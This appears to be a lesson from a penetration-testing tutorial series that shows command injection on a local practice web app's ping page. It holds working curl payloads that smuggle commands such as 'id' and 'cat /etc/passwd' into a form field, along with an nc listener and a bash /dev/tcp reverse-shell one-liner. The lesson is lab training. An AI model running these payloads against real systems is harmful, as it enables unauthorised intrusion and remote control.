~/tutorials/034-from-a-flaw-to-a-shell.md

034: From a flaw to a shell

The last lesson ended with a fix you wrote and watched hold. This one starts one flaw earlier and ends somewhere new: holding a shell on the box you broke.

A flaw that only prints its own output back is a curiosity. A flaw that runs what you type is a door, and command injection is the clearest door on the standard lab box. The distance between the two is the distance between reading a report and writing one.

The same box, a different page

The box is the one you stood up for the last lesson, logged in, and left at security low. Its menu carries a page that pings an address for you. A ping is a command, and a form field that feeds a command is an invitation to see whether the field sends only an address.

Ask the question the way the tier asks every question, by asking the box:

$ curl -s -b "PHPSESSID=your-sid;security=low" -X POST "http://127.0.0.1:4280/vulnerabilities/exec/" --data-urlencode "ip=127.0.0.1; id" --data-urlencode "Submit=Submit"

The field expects an address. The semicolon ends that expectation and starts yours. What comes back is the giveaway:

<pre>uid=33(www-data) gid=33(www-data)
</pre>

That is not the ping answering. That is the web server answering as its own user, because the page pasted your input into a command line and ran it. One field, one semicolon, and the flaw is confirmed from the outside.

Reading what you hold

That uid=33 line is the receipt, and it says more than it spells. The shell you reached is the user the web server runs as, which is a user with a purpose and no privileges. The next census writes itself, because every command you send now runs as that user on that box:

$ curl -s -b "PHPSESSID=your-sid;security=low" -X POST "http://127.0.0.1:4280/vulnerabilities/exec/" --data-urlencode "ip=; cat /etc/passwd" --data-urlencode "Submit=Submit"

The accounts file answers. Swap the command for hostname, for a listing of the home directories, and each answer is a row in the census that the next lesson will ask you to take. You are already taking it.

This shape is a shell over the flaw itself. Every command rides the same form field, and the page hands back the output. It needs no listener and no network in either direction beyond the one you are already using, which is exactly why it works when fancier shells cannot: filtered networks still carry the traffic you are already allowed to make.

The interactive shape, and its honest walls

The textbook next step is a reverse shell, a payload that phones your listener and hands you a prompt. On this box that payload meets two walls worth knowing by name. The web page runs its commands through a minimal shell that has no /dev/tcp, and container networks often refuse connections the bridge did not expect. Both walls look like failure. Both are information.

The walls do not change the finding. Command execution as the web user is the shell, whether it answers through a pipe or a prompt, and the census you can take is the same. When a lab network allows the call home, the classic one liner works, and it belongs in your hands:

$ nc -lvp 4444

; bash -c 'bash -i >& /dev/tcp/your-listener-ip/4444 0>&1' &

One window listens. The other is the form field again, asking the box to open the call. If the listener stays quiet, the census through the flaw still runs, and that is the rung this lesson builds. The next lesson starts from it.

What the framework will sell you

There is a tool that does all of this in one command, finds the flaw, picks the payload, catches the shell. Lesson 043 asks whether you should use it, and the honest answer there will lean on what you just did by hand. The flaw took a curl and a semicolon. The shell took the same curl. A framework that shortens a two command job is a question about the job, not just about the tool, and you are now someone who knows the length of the job.

Try it

1. Confirm command execution on your lab box through the ping page. The box and the login are on the apparatus page the known entry, and the confirming request is in this lesson.
2. Take the census through the flaw. id, hostname, the accounts file, one home listing, and write each answer down with the command that produced it.
3. Try the reverse shell once. If the listener stays quiet, name the wall, run the census through the flaw instead, and write down which shape carried your commands and why.

The shell you can use beats the shell you can quote. Either one beats the flaw you never confirmed.